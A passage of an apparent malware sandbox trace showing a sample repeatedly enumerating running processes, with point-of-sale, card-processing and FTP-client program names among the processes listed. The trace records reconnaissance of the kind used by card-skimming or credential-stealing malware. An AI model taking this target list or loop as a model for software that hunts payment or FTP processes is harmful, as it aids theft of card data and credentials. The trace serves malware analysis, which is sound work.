th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0263.495] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0263.497] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0263.499] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0263.500] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0263.502] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0263.504] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0263.505] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0263.507] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0263.508] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0263.510] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0263.513] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0263.514] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0263.516] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0263.517] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0263.519] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0263.520] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0263.522] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0263.523] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0263.525] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0263.569] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0263.571] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0263.573] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0263.575] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0263.577] CloseHandle (hObject=0x1024) returned 1 [0263.577] Sleep (dwMilliseconds=0x64) [0263.614] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1024 [0263.628] Process32First (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0263.630] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0263.632] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0263.634] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.636] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0263.638] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.640] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0263.642] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0263.692] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0263.694] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.697] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.699] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0263.701] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.703] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.705] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.707] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.709] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.711] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.714] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.716] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0263.718] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0263.720] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0263.724] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.726] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0263.728] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0263.730] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0263.732] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0263.734] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.735] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0263.801] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0263.804] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0263.806] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0263.808] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0263.810] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0263.812] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0263.814] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0263.817] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0263.819] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0263.821] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0263.823] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0263.827] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0263.829] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0263.831] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0263.833] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0263.835] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0263.836] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0263.838] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0263.840] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0263.842] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0263.895] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0263.897] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0263.899] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0263.901] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0263.903] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0263.905] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0263.907] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0263.909] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0263.911] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0263.913] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0263.916] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0263.918] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 